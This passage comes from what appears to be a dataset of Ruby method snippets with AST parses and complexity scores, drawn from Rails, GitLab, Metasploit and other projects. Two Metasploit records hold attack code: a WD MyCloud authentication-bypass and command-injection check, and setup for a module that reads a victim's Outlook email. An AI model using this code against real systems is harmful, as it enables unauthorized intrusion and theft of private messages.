08342f8e-f44c-4906-b0f4-251f650de5da"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/suppressor.rb","start_line":55,"raw_source":"def save!(**) # :nodoc:\n      Suppressor.registry[self.class.name] ? true : super\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"save!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Suppressor\"]},\"registry\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"97c814a9-f223-43a3-8d76-a1e73ddbb4aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":270,"raw_source":"def batch(max_queries: nil, &blk)\n    wrapper = -> { with_clean_batchloader_executor(&blk) }\n\n    if max_queries\n      result = nil\n      expect { result = wrapper.call }.not_to exceed_query_limit(max_queries)\n      result\n    else\n      wrapper.call\n    end\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"batch\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"max_queries\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wrapper\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"with_clean_batchloader_executor\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_queries\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wrapper\"]},\"call\"]}]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"exceed_query_limit\",{\"type\":\"lvar\",\"children\":[\"max_queries\"]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wrapper\"]},\"call\"]}]}]}]}","id":"04996ca2-2048-46c3-bd01-890b130ebee4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/wd_mycloud_unauthenticated_cmd_injection.rb","start_line":103,"raw_source":"def check\n    # sanity check to see if the target is likely WD MyCloud\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path)\n    })\n\n    return CheckCode::Unknown('Connection failed.') unless res\n\n    return CheckCode::Safe('Target is not a WD MyCloud application.') unless res.code == 200 && res.body.include?('var MODEL_ID = \"WDMyCloud')\n\n    print_status(\"#{rhost}:#{rport} - The target is WD MyCloud. Checking vulnerability status...\")\n    # try the authentication bypass (CVE-2018-17153)\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'network_mgr.cgi'),\n      'vars_get' => {\n        'cmd' => 'cgi_get_ipv6',\n        'flag' => 1 # this cannot be randomized according to the CVE-2018-17153 details\n      }\n    })\n\n    return CheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.') unless res\n\n    return CheckCode::Unknown(\"Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.\") unless res.code == 404\n\n    # send a command to print a random string via echo. if the target is vulnerable, both the command  and the command output will be part of the response body\n    echo_cmd = \"echo #{Rex::Text.rand_text_alphanumeric(8..42)}\"\n    print_status(\"#{rhost}:#{rport} - Attempting to execute #{echo_cmd}...\")\n    res = execute_command(echo_cmd, { 'wait_for_response' => true })\n\n    return CheckCode::Unknown('Connection failed while trying to execute the echo command to check the vulnerability status.') unless res\n\n    return CheckCode::Vulnerable('The target executed the echo command.') if res.code == 200 && res.body.include?(echo_cmd) && res.body.include?('\"success\":true')\n\n    CheckCode::Safe('The target failed to execute the echo command.')\n  end","complexity_score":57.05,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Connection failed.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"var MODEL_ID = \\\"WDMyCloud\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Target is not a WD MyCloud application.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - The target is WD MyCloud. Checking vulnerability status...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"cgi-bin\"]},{\"type\":\"str\",\"children\":[\"network_mgr.cgi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd\"]},{\"type\":\"str\",\"children\":[\"cgi_get_ipv6\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"flag\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Connection failed while attempting to trigger the authentication bypass.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[404]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Received unexpected response code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" while attempting to trigger the authentication bypass.\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"echo_cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[42]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Attempting to execute \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"echo_cmd\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"lvar\",\"children\":[\"echo_cmd\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"wait_for_response\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Connection failed while trying to execute the echo command to check the vulnerability status.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"echo_cmd\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"\\\"success\\\":true\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\",{\"type\":\"str\",\"children\":[\"The target executed the echo command.\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"The target failed to execute the echo command.\"]}]}]}]}","id":"3d994404-7759-4579-b99d-9aad44453e9e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/cloud_container.rb","start_line":50,"raw_source":"def all\n          client.cloud_containers.map { |container| self.factory(container) }\n        end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"cloud_containers\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"factory\",{\"type\":\"lvar\",\"children\":[\"container\"]}]}]}]}","id":"5f78130d-d822-472a-9149-5602e48856c1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/outlook.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Gather Outlook Email Messages',\n        'Description' => %q{\n          This module allows reading and searching email messages from the local\n          Outlook installation using PowerShell. Please note that this module is\n          manipulating the victims keyboard/mouse.  If a victim is active on the target\n          system, he may notice the activities of this module. Tested on Windows 8.1\n          x64 with Office 2013.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],\n        'References' => [ 'URL', 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ],\n        'Platform' => [ 'win' ],\n        'Arch' => [ ARCH_X86, ARCH_X64 ],\n        'SessionTypes' => [ 'meterpreter' ],\n        'Actions' => [\n          [ 'LIST', { 'Description' => 'Lists all folders' } ],\n          [ 'SEARCH', { 'Description' => 'Searches for an email' } ]\n        ],\n        'DefaultAction' => 'LIST',\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_railgun_api\n              stdapi_sys_config_sysinfo\n              stdapi_ui_get_idle_time\n            ]\n          }\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FOLDER', [ false, 'The e-mailfolder to read (e.g. Inbox)' ]),\n        OptString.new('KEYWORD', [ false, 'Search e-mails by the keyword specified here' ]),\n        OptString.new('A_TRANSLATION', [ false, 'Fill in the translation of the word \"Allow\" in the targets system language, to click on the security popup.' ]),\n        OptString.new('ACF_TRANSLATION', [ false, 'Fill in the translation of the phrase \"Allow access for\" in the targets system language, to click on the security popup.' ])\n      ]\n    )\n\n    register_advanced_options(\n      [\n        OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any PowerShell scripts to complete', 120])\n      ]\n    )\n  end","complexity_score":11.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Gather Outlook Email Messages\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module allows reading and searching email messages from the local\\n\"]},{\"type\":\"str\",\"children\":[\"          Outlook installation using PowerShell. Please note that this module is\\n\"]},{\"type\":\"str\",\"children\":[\"          manipulating the victims keyboard/mouse.  If a victim is active on the target\\n\"]},{\"type\":\"str\",\"children\":[\"          system, he may notice the activities of this module. Tested on Windows 8.1\\n\"]},{\"type\":\"str\",\"children\":[\"          x64 with Office 2013.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Wesley Neelen <security[at]forsec.nl>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://forsec.nl/2014/11/reading-outlook-using-metasploit\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LIST\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Lists all folders\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"SEARCH\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Searches for an email\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"LIST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_railgun_api\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_config_sysinfo\"]},{\"type\":\"str\",\"children\":[\"stdapi_ui_get_idle_time\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FOLDER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The e-mailfolder to read (e.g. Inbox)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"KEYWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Search e-mails by the keyword specified here\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"A_TRANSLATION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Fill in the translation of the word \\\"Allow\\\" in the targets system language, to click on the security popup.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ACF_TRANSLATION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Fill in the translation of the phrase \\\"Allow access for\\\" in the targets system language, to click on the security popup.\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The maximum time (in seconds) to wait for any PowerShell scripts to complete\"]},{\"type\":\"int\",\"children\":[120]}]}]}]}]}]}]}","id":"684694c5-734e-40e0-ba34-a0f20bc1df69"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/mbox/support/indexer.rb","start_line":206,"raw_source":"def each_line(filename)\n      raw_file = File.open(filename, \"r\")\n      text_file = filename.end_with?(\".gz\") ? Zlib::GzipReader.new(raw_file) : raw_file\n\n      text_file.each_line { |line| yield line }\n    ensure\n      raw_file.close if raw_file\n    end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"each_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"str\",\"children\":[\"r\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text_file\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\".gz\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"GzipReader\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"raw_file\"]}]},{\"type\":\"lvar\",\"children\":[\"raw_file\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_file\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_file\"]},\"close\"]},null]}]}]}","id":"65c11198-38fb-4a63-b4f3-e586abff2619"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/uploads_actions.rb","start_line":117,"raw_source":"def uploader_mounted?\n    upload_model_class < CarrierWave::Mount::Extension && !upload_mount.nil?\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"uploader_mounted?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload_model_class\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CarrierWave\"]},\"Mount\"]},\"Extension\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload_mount\"]},\"nil?\"]},\"!\"]}]}]}","id":"c0841228-0867-49d1-9d3f-a9e3218fdbb5"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/text_helper_test.rb","start_line":25,"raw_source":"def test_simple_format_included_in_isolation\n    helper_klass = Class.new { include ActionView::Helpers::TextHelper }\n    assert_predicate helper_klass.new.simple_format(\"<b> test with HTML tags </b>\"), :html_safe?\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_simple_format_included_in_isolation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"helper_klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"TextHelper\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"helper_klass\"]},\"new\"]},\"simple_format\",{\"type\":\"str\",\"children\":[\"<b> test with HTML tags </b>\"]}]},{\"type\":\"sym\",\"children\":[\"html_safe?\"]}]}]}]}","id":"71a64730-b479-4cd7-959a-3978e02b5ec6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/lfs_pointer_file.rb","start_line":25,"raw_source":"def sha256\n        @sha256 ||= Digest::SHA256.hexdigest(@data)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sha256\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sha256\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"ivar\",\"children\":[\"@data\"]}]}]}]}","id":"84cd4f89-29d9-4969-8f57-ccdd2a29df13"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":667,"raw_source":"def test_remove_foreign_key_on_8_1\n        connection.create_table(:sub_testings) do |t|\n          t.references :testing, foreign_key: true, type: :bigint\n          t.references :experiment, foreign_key: { to_table: :testings }, type: :bigint\n        end\n\n        migration = Class.new(ActiveRecord::Migration[8.1]) do\n          def up\n            change_table(:sub_testings) do |t|\n              t.remove_foreign_key :testings\n              t.remove_foreign_key :testings, column: :experiment_id\n            end\n          end\n        end\n\n        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate\n\n        foreign_keys = @connection.foreign_keys(\"sub_testings\")\n        assert_equal 0, foreign_keys.size\n      ensure\n        connection.drop_table(:sub_testings, if_exists: true)\n        ActiveRecord::Base.clear_cache!\n      end","complexity_score":21.58,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remove_foreign_key_on_8_1\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"create_table\",{\"type\":\"sym\",\"children\":[\"sub_testings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"testing\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"experiment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"sym\",\"children\":[\"testings\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"[]\",{\"type\":\"float\",\"children\":[8.1]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"sub_testings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"testings\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"